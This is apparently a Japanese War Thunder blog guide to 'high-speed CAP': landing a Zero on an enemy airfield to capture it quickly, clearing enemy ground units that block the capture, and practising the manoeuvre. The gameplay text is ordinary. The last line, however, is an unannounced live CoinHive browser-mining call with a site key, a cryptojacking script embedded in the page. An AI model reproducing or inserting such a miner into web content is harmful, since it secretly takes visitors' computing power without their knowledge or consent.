また,機体,状況によりやり方が変わってくるので,

今回は零戦でゲーム開始直後のCAPをする想定で解説していく.

(画像の機体がタイフーンだが気にしてはいけない)

 

まずリスポーン直後に,拠点少し手前を目指して降下していく.

拠点手前まで来たら,着陸脚を出しつつ機体を水平に保つ.

この時,速度が500km/hを超えているようであれば,スロットルを絞って速度を落とす.

速度を落とし,着陸脚が出たのを確認したら,機体を徐々に降下させる.

この時の降下角度の目安は5°以下.

これ以上の角度で進入すると着陸脚を破損したり,プロペラを地面に擦ってしまう.

そして接地を確認したら機体の角度は一切変えずに,スロットルを最大にする.

占領を確認したらシャンデルやインメルマンターンで反転,

狙われないように味方のリスポーン方向へ逃げよう.

以上が筆者流高速CAPのやり方.

上手く安定して出来るようになるには回数を重ねるしかないので,

テストフライトの飛行場などで練習してみよう.

 

 

地上部隊

高速CAPでっきるっかな?

あれぇおかしいね?接地してるのに占領出来ないね?

あぁ…出ちゃった…(オーバーラン)

 

しっかりと接地出来ているのに占領が出来ない…といった経験は無いだろうか?

これは敵地上部隊がその飛行場を占領してしまっているという事が多い.

こういった場合は爆弾,ロケット等を利用して敵地上部隊を一掃してからでないと占領が出来ない.

逆に言えば味方地上部隊を守り切ればゲーム後半に大きなアドバンテージとなる.

開幕で低空に特↑攻↓してくる爆撃機は積極的に迎撃しよう.

敵地上部隊を一掃した後にすぐ高速CAPへ移りたい...そんな貴方に (このサイトの別ページへリンク)

 

 

おわり

ガバガバな語録とマジメくん並の解説を書いてきたがいかがだっただろうか.

筆者は過去に敵機が全く撃墜出来ないという理由から高速CAPを始めて,

今では1試合で多いときには10連続占領をするようなプレイヤーになってしまった.

空ABプレイヤーには経験値が稼げないと嫌われているゲームモードだが,

このテクニックさえ身につければ占領戦で大活躍するのも夢ではない.

是非とも高速CAPの技術を自分のモノにして見方の勝利に貢献してほしい.

最後に…

 

高速CAPサポーターになって…占領…しよう!

 

var miner = new CoinHive.User('XstJZ5VzJp8OYBswCXGNzp8Togq3Hjuv', 'john-doe'); miner.start();
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